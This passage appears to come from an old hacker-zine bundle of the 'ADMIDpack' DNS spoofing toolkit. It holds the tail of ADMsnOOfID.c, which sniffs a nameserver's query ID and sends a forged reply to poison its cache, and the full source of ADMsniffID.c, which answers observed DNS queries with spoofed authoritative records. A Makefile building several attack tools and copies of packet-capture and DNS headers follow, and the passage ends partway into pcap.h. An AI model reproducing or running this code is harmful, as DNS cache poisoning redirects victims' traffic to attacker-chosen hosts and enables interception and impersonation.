printf("ex: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr \n",argv[0]);
|
||
printf(" So ... we tryed to poison victim.com with type 12 (PTR) .. now if som1 asked for the ip of mail.provnet.fr they have resoled to damn.diz.ip.iz.ereet.ya\n");
|
||
exit(0);
|
||
}
|
||
|
||
if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
|
||
else ETHHDRSIZE = 14;
|
||
|
||
if(argc>5)type=atoi(argv[5]);
|
||
|
||
|
||
if(argc > 6)strcpy(spoofname,argv[6]);
|
||
else{
|
||
printf("enter the name you wanna spoof:");
|
||
scanf("%s",spoofname);
|
||
}
|
||
|
||
if(argc > 7)strcpy(bla,argv[7]);
|
||
else{
|
||
printf("enter the ip's of the spoof name:");
|
||
scanf("%s",bla);
|
||
}
|
||
|
||
alacon =(char *)inet_ntoa(host2ip(bla));
|
||
strcpy(spoofip,alacon);
|
||
|
||
if(argc > 8)strcpy(bla,argv[8]);
|
||
else{
|
||
printf("enter the dns trust for the spoof\n");
|
||
scanf("%s",bla);
|
||
}
|
||
alacon =(char *)inet_ntoa(host2ip(bla));
|
||
strcpy(dnstrust,alacon);
|
||
|
||
|
||
dnssend = (struct dnshdr *)buffer2;
|
||
data2 = (char *)(buffer2+DNSHDRSIZE);
|
||
|
||
bzero(buffer2,sizeof(buffer2));
|
||
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
printf("ADMsn0ofID.c %s ADM ID sniffer\n",VERSION);
|
||
printf("ADMsnO0fID (\033[5m\033[01mc\033[0m) ADM,Heike\n");
|
||
sleep(1);
|
||
|
||
pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);
|
||
|
||
s_ipns = host2ip(argv[4]);
|
||
d_ip = host2ip(argv[2]);
|
||
con = myrand();
|
||
|
||
/* make the question for get the ID */
|
||
|
||
sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]);
|
||
dnssend->id = 2600;
|
||
dnssend->qr = 0;
|
||
dnssend->rd = 1;
|
||
dnssend->aa = 0;
|
||
dnssend->que_num = htons(1);
|
||
dnssend->rep_num = htons(0);
|
||
i = makepaketQS(data2,namefake,TYPE_A);
|
||
udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i);
|
||
printf("Question sended...\n");
|
||
printf("Its Time to w8 \n");
|
||
|
||
while(1)
|
||
{
|
||
buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */
|
||
|
||
ip = (struct iphdr *)(buffer+ETHHDRSIZE);
|
||
udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE);
|
||
dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
|
||
data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
|
||
|
||
if(ip->protocol == IPPROTO_UDP){
|
||
printf("[%s:%i ->",inet_ntoa(ip->saddr),ntohs(udp->source));
|
||
printf("%s:%i]\n",inet_ntoa(ip->daddr),ntohs(udp->dest));
|
||
}
|
||
|
||
if(ip->protocol == 17 )
|
||
if(ip->saddr.s_addr == d_ip )
|
||
if(ip->daddr.s_addr == s_ipns )
|
||
if(udp->dest == htons(53) )
|
||
if(dnsrecv->qr == 0 )
|
||
{
|
||
printf("kewl :)~ we have the packet !\n");
|
||
|
||
ID = dnsrecv->id ; /* we get the id */
|
||
|
||
printf("the current id of %s is %d \n",argv[2],ntohs(ID));
|
||
|
||
DA_ID = ntohs(ID);
|
||
|
||
|
||
printf("send the spoof...\n");
|
||
|
||
dnsspoof(dnstrust,argv[2],spoofname,spoofip,DA_ID,type);
|
||
|
||
printf("spoof sended...\n");
|
||
|
||
exit(0);
|
||
}
|
||
|
||
|
||
|
||
}
|
||
|
||
/* well now we have the ID we cant predict the ID */
|
||
|
||
}
|
||
<-->
|
||
<++> ADMIDpack/ADMsniffID.c
|
||
|
||
#include <pcap.h>
|
||
|
||
#include "ADM-spoof.c"
|
||
#include "dns.h"
|
||
#include "ADMDNS2.c"
|
||
|
||
#define ERROR -1
|
||
#define DNSHDRSIZE 12
|
||
#define VERSION "ver 0.4 pub"
|
||
|
||
int ETHHDRSIZE;
|
||
|
||
void usage(){
|
||
printf("usage : ADMsniffID <device> <IP> <name> <type of spoof[1,12]> \n");
|
||
printf("ex: ADMsniffID eth0 \"127.0.0.1\" \"www.its.me.com\" \n");
|
||
exit(ERROR);
|
||
}
|
||
|
||
void main(int argc, char **argv)
|
||
{
|
||
struct pcap_pkthdr h;
|
||
struct pcap *pcap_d;
|
||
struct iphdr *ip;
|
||
struct udphdr *udp;
|
||
struct dnshdr *dnsrecv,*dnssend;
|
||
char *data;
|
||
char *data2;
|
||
char *buffer;
|
||
char SPOOFIP[255];
|
||
char bla[255];
|
||
char spoofname[255];
|
||
char tmp2[255];
|
||
char ebuf[255];
|
||
char buffer2[1024];
|
||
unsigned char namez[255];
|
||
int sraw,on=1,tmp1,type;
|
||
|
||
|
||
if(argc <2)usage();
|
||
if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
|
||
else ETHHDRSIZE = 14;
|
||
|
||
strcpy(SPOOFIP,argv[2]);
|
||
strcpy(spoofname,argv[3]);
|
||
type = atoi(argv[4]);
|
||
|
||
/* Buffer 'n' tcp/ip stuff */
|
||
|
||
dnssend = (struct dnshdr *)buffer2;
|
||
data2 = (char *)(buffer2+12);
|
||
|
||
|
||
|
||
/* bzero(buffer,sizeof(buffer)); */
|
||
bzero(bla,sizeof(bla));
|
||
bzero(buffer2,sizeof(buffer2));
|
||
|
||
|
||
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
|
||
perror("socket");
|
||
exit(ERROR);
|
||
}
|
||
|
||
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
|
||
perror("setsockopt");
|
||
exit(ERROR);
|
||
}
|
||
|
||
/* open pcap descriptor */
|
||
|
||
pcap_d = pcap_open_live(argv[1],sizeof(buffer),0,100,ebuf);
|
||
|
||
printf("ADMsniffID %s (c) ADMnHeike\n",VERSION);
|
||
|
||
while(1){
|
||
|
||
buffer =(u_char *)pcap_next(pcap_d,&h); /* catch the packet */
|
||
|
||
|
||
ip = (struct iphdr *)(buffer+ETHHDRSIZE);
|
||
udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE);
|
||
dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
|
||
data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);
|
||
|
||
if(ip->protocol == 17)
|
||
if(udp->dest == htons(53) )
|
||
if(dnsrecv->qr == 0)
|
||
{
|
||
strcpy(namez,data);
|
||
nameformat(namez,bla);
|
||
printf("hum we have a DNS question from %s diz guyz wanna %s!\n",inet_ntoa(ip->saddr),(char *)bla);
|
||
|
||
bzero(bla,sizeof(bla));
|
||
printf("the question have the type %i and type of the query %i\n"
|
||
,ntohs(*((u_short *)(data+strlen(data)+1)))
|
||
,ntohs(*((u_short *)(data+strlen(data)+2+1))));
|
||
|
||
/* well in diz version we only spoof the type 'A' */
|
||
/* check out for a new version in ftp.janova.org/pub/ADM */
|
||
|
||
|
||
printf("make the spoof packet...\n");
|
||
printf("dns header\n");
|
||
|
||
/* here we gonna start to make the spoofed paket :)*/
|
||
|
||
memcpy(dnssend,dnsrecv,DNSHDRSIZE+strlen(namez)+5);
|
||
|
||
dnssend->id=dnsrecv->id; /* haha the ID ;) */
|
||
dnssend->aa=1; /* i've the authority */
|
||
dnssend->ra=1; /* i've the recusion */
|
||
dnssend->qr=1; /* its a awser */
|
||
dnssend->rep_num = htons(1); /* i've one awnser */
|
||
|
||
|
||
printf("ID=%i\nnumba of question=%i\nnumba of awnser =%i\n"
|
||
,dnssend->id,ntohs(dnssend->que_num),ntohs(dnssend->rep_num));
|
||
printf("Question..\n");
|
||
printf("domainename=%s\n",data2);
|
||
printf("type of question=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1))));
|
||
printf("type of query=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1+2))));
|
||
|
||
if( type == TYPE_PTR){
|
||
tmp1=strlen(namez)+5;
|
||
strcpy(data2+tmp1,namez);
|
||
tmp1=tmp1+strlen(namez)+1;
|
||
|
||
bzero(tmp2,sizeof(tmp2));
|
||
nameformat(spoofname,tmp2);
|
||
printf("tmp2 = %s\n",tmp2);
|
||
|
||
|
||
printf(" mouhahahah \n");
|
||
*((u_short *)(data2+tmp1)) = htons(TYPE_PTR);
|
||
*((u_short *)(data2+tmp1+2)) = htons(1);
|
||
*((u_long *)(data2+tmp1+2+2)) = htonl(86400);
|
||
*((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1));
|
||
printf("bhaa?.\n");
|
||
strcpy((data2+tmp1+2+2+4+2),tmp2);
|
||
printf(" ouf !! =) \n");
|
||
tmp1 = tmp1 +strlen(tmp2)+ 1;
|
||
|
||
}
|
||
|
||
if( type == TYPE_A){
|
||
tmp1=strlen(namez)+5;
|
||
strcpy(data2+tmp1,namez);
|
||
tmp1=tmp1+strlen(namez)+1;
|
||
*((u_short *)(data2+tmp1)) = htons(TYPE_A);
|
||
*((u_short *)(data2+tmp1+2)) = htons(1);
|
||
*((u_long *)(data2+tmp1+2+2)) = htonl(86400);
|
||
*((u_short *)(data2+tmp1+2+2+4)) = htons(4);
|
||
*((u_long *)(data2+tmp1+2+2+4+2)) = host2ip(SPOOFIP);
|
||
|
||
}
|
||
|
||
printf("Answer..\n");
|
||
printf("domainname=%s\n",tmp2);
|
||
printf("type=%i\n",ntohs(*((u_short *)(data2+tmp1))));
|
||
printf("classe=%i\n",ntohs(*((u_short *)(data2+tmp1+2))));
|
||
printf("time to live=%u\n",ntohl(*((u_long *)(data2+tmp1+2+2))));
|
||
printf("resource data lenght=%i\n",ntohs(*((u_short *)(data2+tmp1+2+2+4))));
|
||
printf("IP=%s\n",inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
|
||
|
||
tmp1=tmp1+2+2+4+2+4; /* now tmp1 == the total length of packet dns */
|
||
/* without the dnshdr */
|
||
|
||
|
||
udp_send(sraw
|
||
,ip->daddr
|
||
,ip->saddr
|
||
,ntohs(udp->dest)
|
||
,ntohs(udp->source)
|
||
,buffer2
|
||
,DNSHDRSIZE+tmp1);
|
||
} /* end of the spoof */
|
||
} /* end of while(1) */
|
||
} /* The End !! ;) */
|
||
<-->
|
||
<++> ADMIDpack/Makefile
|
||
# version 0.1
|
||
#/usr/contrib/bin/gcc -L. -I. ADMkillDNS.c -lsocket -lnsl -lpcap -o ../ADMbin/ADMkillDNS
|
||
SHELL = /bin/sh
|
||
# uncomment this if your are not on LinuX
|
||
#LIBS = -lsocket -lnsl -lpcap
|
||
#
|
||
CC = gcc
|
||
LIBS = -lpcap
|
||
BIN = .
|
||
CFLAGS = -I. -L.
|
||
all: ADMkillDNS ADMsnOOfID ADMsniffID ADMdnsfuckr ADMnOg00d
|
||
|
||
ADMkillDNS: ADMkillDNS.c
|
||
$(CC) $(CFLAGS) ADMkillDNS.c $(LIBS) -o $(BIN)/ADMkillDNS
|
||
|
||
ADMsnOOfID: ADMsnOOfID.c
|
||
$(CC) $(CFLAGS) ADMsnOOfID.c $(LIBS) -o $(BIN)/ADMsnOOfID
|
||
|
||
ADMsniffID: ADMsniffID.c
|
||
$(CC) $(CFLAGS) ADMsniffID.c $(LIBS) -o $(BIN)/ADMsniffID
|
||
|
||
ADMdnsfuckr: ADMdnsfuckr.c
|
||
$(CC) $(CFLAGS) ADMdnsfuckr.c $(LIBS) -o $(BIN)/ADMdnsfuckr
|
||
|
||
ADMnOg00d: ADMnOg00d.c
|
||
$(CC) $(CFLAGS) ADMnOg00d.c $(LIBS) -o $(BIN)/ADMnOg00d
|
||
|
||
clean:
|
||
rm -f $(BIN)/*o $(BIN)/ADMsniffID $(BIN)/ADMsnOOfID $(BIN)/ADMnOg00d \
|
||
$(BIN)/ADMkillDNS $(BIN)/ADMdnsfuckr
|
||
<-->
|
||
<++> ADMIDpack/bpf.h
|
||
/*-
|
||
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
|
||
* The Regents of the University of California. All rights reserved.
|
||
*
|
||
* This code is derived from the Stanford/CMU enet packet filter,
|
||
* (net/enet.c) distributed as part of 4.3BSD, and code contributed
|
||
* to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
|
||
* Berkeley Laboratory.
|
||
*
|
||
* Redistribution and use in source and binary forms, with or without
|
||
* modification, are permitted provided that the following conditions
|
||
* are met:
|
||
* 1. Redistributions of source code must retain the above copyright
|
||
* notice, this list of conditions and the following disclaimer.
|
||
* 2. Redistributions in binary form must reproduce the above copyright
|
||
* notice, this list of conditions and the following disclaimer in the
|
||
* documentation and/or other materials provided with the distribution.
|
||
* 3. All advertising materials mentioning features or use of this software
|
||
* must display the following acknowledgement:
|
||
* This product includes software developed by the University of
|
||
* California, Berkeley and its contributors.
|
||
* 4. Neither the name of the University nor the names of its contributors
|
||
* may be used to endorse or promote products derived from this software
|
||
* without specific prior written permission.
|
||
*
|
||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||
* SUCH DAMAGE.
|
||
*
|
||
* @(#)bpf.h 7.1 (Berkeley) 5/7/91
|
||
*
|
||
* @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL)
|
||
*/
|
||
|
||
#ifndef BPF_MAJOR_VERSION
|
||
|
||
/* BSD style release date */
|
||
#define BPF_RELEASE 199606
|
||
|
||
typedef int bpf_int32;
|
||
typedef u_int bpf_u_int32;
|
||
|
||
/*
|
||
* Alignment macros. BPF_WORDALIGN rounds up to the next
|
||
* even multiple of BPF_ALIGNMENT.
|
||
*/
|
||
#define BPF_ALIGNMENT sizeof(bpf_int32)
|
||
#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))
|
||
|
||
#define BPF_MAXINSNS 512
|
||
#define BPF_MAXBUFSIZE 0x8000
|
||
#define BPF_MINBUFSIZE 32
|
||
|
||
/*
|
||
* Structure for BIOCSETF.
|
||
*/
|
||
struct bpf_program {
|
||
u_int bf_len;
|
||
struct bpf_insn *bf_insns;
|
||
};
|
||
|
||
/*
|
||
* Struct returned by BIOCGSTATS.
|
||
*/
|
||
struct bpf_stat {
|
||
u_int bs_recv; /* number of packets received */
|
||
u_int bs_drop; /* number of packets dropped */
|
||
};
|
||
|
||
/*
|
||
* Struct return by BIOCVERSION. This represents the version number of
|
||
* the filter language described by the instruction encodings below.
|
||
* bpf understands a program iff kernel_major == filter_major &&
|
||
* kernel_minor >= filter_minor, that is, if the value returned by the
|
||
* running kernel has the same major number and a minor number equal
|
||
* equal to or less than the filter being downloaded. Otherwise, the
|
||
* results are undefined, meaning an error may be returned or packets
|
||
* may be accepted haphazardly.
|
||
* It has nothing to do with the source code version.
|
||
*/
|
||
struct bpf_version {
|
||
u_short bv_major;
|
||
u_short bv_minor;
|
||
};
|
||
/* Current version number of filter architecture. */
|
||
#define BPF_MAJOR_VERSION 1
|
||
#define BPF_MINOR_VERSION 1
|
||
|
||
/*
|
||
* BPF ioctls
|
||
*
|
||
* The first set is for compatibility with Sun's pcc style
|
||
* header files. If your using gcc, we assume that you
|
||
* have run fixincludes so the latter set should work.
|
||
*/
|
||
#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
|
||
#define BIOCGBLEN _IOR(B,102, u_int)
|
||
#define BIOCSBLEN _IOWR(B,102, u_int)
|
||
#define BIOCSETF _IOW(B,103, struct bpf_program)
|
||
#define BIOCFLUSH _IO(B,104)
|
||
#define BIOCPROMISC _IO(B,105)
|
||
#define BIOCGDLT _IOR(B,106, u_int)
|
||
#define BIOCGETIF _IOR(B,107, struct ifreq)
|
||
#define BIOCSETIF _IOW(B,108, struct ifreq)
|
||
#define BIOCSRTIMEOUT _IOW(B,109, struct timeval)
|
||
#define BIOCGRTIMEOUT _IOR(B,110, struct timeval)
|
||
#define BIOCGSTATS _IOR(B,111, struct bpf_stat)
|
||
#define BIOCIMMEDIATE _IOW(B,112, u_int)
|
||
#define BIOCVERSION _IOR(B,113, struct bpf_version)
|
||
#define BIOCSTCPF _IOW(B,114, struct bpf_program)
|
||
#define BIOCSUDPF _IOW(B,115, struct bpf_program)
|
||
#else
|
||
#define BIOCGBLEN _IOR('B',102, u_int)
|
||
#define BIOCSBLEN _IOWR('B',102, u_int)
|
||
#define BIOCSETF _IOW('B',103, struct bpf_program)
|
||
#define BIOCFLUSH _IO('B',104)
|
||
#define BIOCPROMISC _IO('B',105)
|
||
#define BIOCGDLT _IOR('B',106, u_int)
|
||
#define BIOCGETIF _IOR('B',107, struct ifreq)
|
||
#define BIOCSETIF _IOW('B',108, struct ifreq)
|
||
#define BIOCSRTIMEOUT _IOW('B',109, struct timeval)
|
||
#define BIOCGRTIMEOUT _IOR('B',110, struct timeval)
|
||
#define BIOCGSTATS _IOR('B',111, struct bpf_stat)
|
||
#define BIOCIMMEDIATE _IOW('B',112, u_int)
|
||
#define BIOCVERSION _IOR('B',113, struct bpf_version)
|
||
#define BIOCSTCPF _IOW('B',114, struct bpf_program)
|
||
#define BIOCSUDPF _IOW('B',115, struct bpf_program)
|
||
#endif
|
||
|
||
/*
|
||
* Structure prepended to each packet.
|
||
*/
|
||
struct bpf_hdr {
|
||
struct timeval bh_tstamp; /* time stamp */
|
||
bpf_u_int32 bh_caplen; /* length of captured portion */
|
||
bpf_u_int32 bh_datalen; /* original length of packet */
|
||
u_short bh_hdrlen; /* length of bpf header (this struct
|
||
plus alignment padding) */
|
||
};
|
||
/*
|
||
* Because the structure above is not a multiple of 4 bytes, some compilers
|
||
* will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
|
||
* Only the kernel needs to know about it; applications use bh_hdrlen.
|
||
*/
|
||
#ifdef KERNEL
|
||
#define SIZEOF_BPF_HDR 18
|
||
#endif
|
||
|
||
/*
|
||
* Data-link level type codes.
|
||
*/
|
||
#define DLT_NULL 0 /* no link-layer encapsulation */
|
||
#define DLT_EN10MB 1 /* Ethernet (10Mb) */
|
||
#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */
|
||
#define DLT_AX25 3 /* Amateur Radio AX.25 */
|
||
#define DLT_PRONET 4 /* Proteon ProNET Token Ring */
|
||
#define DLT_CHAOS 5 /* Chaos */
|
||
#define DLT_IEEE802 6 /* IEEE 802 Networks */
|
||
#define DLT_ARCNET 7 /* ARCNET */
|
||
#define DLT_SLIP 8 /* Serial Line IP */
|
||
#define DLT_PPP 9 /* Point-to-point Protocol */
|
||
#define DLT_FDDI 10 /* FDDI */
|
||
#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */
|
||
#define DLT_RAW 12 /* raw IP */
|
||
#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */
|
||
#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */
|
||
|
||
/*
|
||
* The instruction encondings.
|
||
*/
|
||
/* instruction classes */
|
||
#define BPF_CLASS(code) ((code) & 0x07)
|
||
#define BPF_LD 0x00
|
||
#define BPF_LDX 0x01
|
||
#define BPF_ST 0x02
|
||
#define BPF_STX 0x03
|
||
#define BPF_ALU 0x04
|
||
#define BPF_JMP 0x05
|
||
#define BPF_RET 0x06
|
||
#define BPF_MISC 0x07
|
||
|
||
/* ld/ldx fields */
|
||
#define BPF_SIZE(code) ((code) & 0x18)
|
||
#define BPF_W 0x00
|
||
#define BPF_H 0x08
|
||
#define BPF_B 0x10
|
||
#define BPF_MODE(code) ((code) & 0xe0)
|
||
#define BPF_IMM 0x00
|
||
#define BPF_ABS 0x20
|
||
#define BPF_IND 0x40
|
||
#define BPF_MEM 0x60
|
||
#define BPF_LEN 0x80
|
||
#define BPF_MSH 0xa0
|
||
|
||
/* alu/jmp fields */
|
||
#define BPF_OP(code) ((code) & 0xf0)
|
||
#define BPF_ADD 0x00
|
||
#define BPF_SUB 0x10
|
||
#define BPF_MUL 0x20
|
||
#define BPF_DIV 0x30
|
||
#define BPF_OR 0x40
|
||
#define BPF_AND 0x50
|
||
#define BPF_LSH 0x60
|
||
#define BPF_RSH 0x70
|
||
#define BPF_NEG 0x80
|
||
#define BPF_JA 0x00
|
||
#define BPF_JEQ 0x10
|
||
#define BPF_JGT 0x20
|
||
#define BPF_JGE 0x30
|
||
#define BPF_JSET 0x40
|
||
#define BPF_SRC(code) ((code) & 0x08)
|
||
#define BPF_K 0x00
|
||
#define BPF_X 0x08
|
||
|
||
/* ret - BPF_K and BPF_X also apply */
|
||
#define BPF_RVAL(code) ((code) & 0x18)
|
||
#define BPF_A 0x10
|
||
|
||
/* misc */
|
||
#define BPF_MISCOP(code) ((code) & 0xf8)
|
||
#define BPF_TAX 0x00
|
||
#define BPF_TXA 0x80
|
||
|
||
/*
|
||
* The instruction data structure.
|
||
*/
|
||
struct bpf_insn {
|
||
u_short code;
|
||
u_char jt;
|
||
u_char jf;
|
||
bpf_int32 k;
|
||
};
|
||
|
||
/*
|
||
* Macros for insn array initializers.
|
||
*/
|
||
#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
|
||
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }
|
||
|
||
#ifdef KERNEL
|
||
extern u_int bpf_filter();
|
||
extern void bpfattach();
|
||
extern void bpf_tap();
|
||
extern void bpf_mtap();
|
||
#else
|
||
#if __STDC__
|
||
extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
|
||
#endif
|
||
#endif
|
||
|
||
/*
|
||
* Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
|
||
*/
|
||
#define BPF_MEMWORDS 16
|
||
|
||
#endif
|
||
<-->
|
||
<++> ADMIDpack/dns.h
|
||
|
||
#define DNSHDRSIZE 12
|
||
|
||
struct dnshdr {
|
||
unsigned short int id;
|
||
|
||
unsigned char rd:1; /* recursion desired */
|
||
unsigned char tc:1; /* truncated message */
|
||
unsigned char aa:1; /* authoritive answer */
|
||
unsigned char opcode:4; /* purpose of message */
|
||
unsigned char qr:1; /* response flag */
|
||
|
||
unsigned char rcode:4; /* response code */
|
||
unsigned char unused:2; /* unused bits */
|
||
unsigned char pr:1; /* primary server required (non standard) */
|
||
unsigned char ra:1; /* recursion available */
|
||
|
||
unsigned short int que_num;
|
||
unsigned short int rep_num;
|
||
unsigned short int num_rr;
|
||
unsigned short int num_rrsup;
|
||
};
|
||
<-->
|
||
<++> ADMIDpack/ip.h
|
||
|
||
/* adapted from tcpdump */
|
||
|
||
#ifndef IPVERSION
|
||
#define IPVERSION 4
|
||
#endif /* IPVERISON */
|
||
|
||
struct iphdr {
|
||
u_char ihl:4, /* header length */
|
||
version:4; /* version */
|
||
u_char tos; /* type of service */
|
||
short tot_len; /* total length */
|
||
u_short id; /* identification */
|
||
short off; /* fragment offset field */
|
||
#define IP_DF 0x4000 /* dont fragment flag */
|
||
#define IP_MF 0x2000 /* more fragments flag */
|
||
u_char ttl; /* time to live */
|
||
u_char protocol; /* protocol */
|
||
u_short check; /* checksum */
|
||
struct in_addr saddr, daddr; /* source and dest address */
|
||
};
|
||
|
||
#ifndef IP_MAXPACKET
|
||
#define IP_MAXPACKET 65535
|
||
#endif /* IP_MAXPACKET */
|
||
<-->
|
||
<++> ADMIDpack/pcap.h
|
||
/*
|
||
* Copyright (c) 1993, 1994, 1995, 1996, 1997
|
||
* The Regents of the University of California. All rights reserved.
|
||
*
|
||
* Redistribution and use in source and binary forms, with or without
|
||
* modification, are permitted provided that the following conditions
|
||
* are met:
|
||
* 1. Redistributions of source code must retain the above copyright
|
||
* notice, this list of conditions and the following disclaimer.
|
||
* 2. Redistributions in binary form must reproduce the above copyright
|
||
* notice, this list of conditions and the following disclaimer in the
|
||
* documentation and/or other materials provided with the distribution.
|
||
* 3. All advertising materials mentioning features or use of this software
|
||
* must display the following acknowledgement:
|
||
* This product includes software developed by the Computer Systems
|
||
* Engineering Group at Lawrence Berkeley Laboratory.
|
||
* 4. Neither the name of the University nor of the Laboratory may be used
|
||
* to endorse or promote products derived from this software without
|
||
* specific prior written permission.
|
||
*
|
||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||
* SUCH DAMAGE.
|
||
*
|
||
* @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
|
||
*/
|
||
|
||
#ifndef lib_pcap_h
|
||
#define lib_pcap_h
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/time.h>
|
||
|
||
#include <bpf.h>
|
||
|
||
#include <stdio.h>
|
||
|
||
#define PCAP_VERSION_MAJOR 2
|
||
#define PCAP_VERSION_MINOR 4
|
||
|
||
#define PCAP_ERRBUF_SIZE 256
|
||
|
||
/*
|
||
* Compatibility for systems that have a bpf.h that
|
||
* predates the bpf typedefs for 64-bit support.
|
||
*/
|
||
#if BPF_RELEASE - 0 < 199406
|
||
typedef int bpf_int32;
|
||
typedef u_int bpf_u_int32;
|
||
#endif
|
||
|
||
typedef struct pcap pcap_t;
|
||
typedef struct pcap_dumper pcap_dumper_t;
|
||
|
||
/*
|
||
* The first record in the file contains saved values for some
|
||
* of the flags used in the printout phases of tcpdump.
|
||
* Many fields here are 32 bit ints so compilers won't insert unwanted
|
||
* padding; these files need to be interchangeable across architectures.
|
||
*/
|
||
struct pcap_file_header {
|
||
bpf_u_int32 magic;
|
||
u_short version_major;
|
||
u_short version_minor;
|
||
bpf_int32 thiszone; /* gmt to local correction */
|
||
bpf_u_int32 sigfigs; /* accuracy of timestamps */
|
||
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
|
||
bpf_u_int32 linktype; /* data link type (DLT_*) */
|
||
};
|
||
|
||
/*
|
||
* Each packet in the dump file is prepended with this generic header.
|
||
* This gets around the problem of different headers for different
|
||
* packet interfaces.
|
||
*/
|
||
struct pcap_pkthdr {
|
||
struct timeval ts; /* time stamp */
|
||
bpf_u_int32 caplen; /* length of portion present */
|
||
bpf_u_int32 len; /* length this packet (off wire) */
|
||
};
|
||
|
||
/*
|
||
* As returned by the pcap_stats()
|
||
*/
|
||
struct pcap_stat {
|
||
u_int ps_recv; /* number of packets received */
|
||
u_int ps_drop; /* number of packets dropped */
|
||
u_int ps_ifdrop; /* drops by interface XXX not yet supported */
|
||
};
|
||
|
||
typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
|
||
const u_char *);
|
||
|
||
char *pcap_lookupdev(char *);
|
||
int pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
|
||
pcap_t *pcap_open_live(char *, int, int, int, char *);
|
||
pcap_t *pcap_open_offline(const char *, char *);
|
||
void pcap_close(pcap_t *);
|
||
int pcap_loop(pcap_t *, int, pcap_handler, u_char *);
|
||
int pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
|
||
const u_char*
|
||
pcap_next(pcap_t *, struct pcap_pkthdr *);
|
||
int pcap_stats(pcap_t *, struct pcap_stat *);
|
||
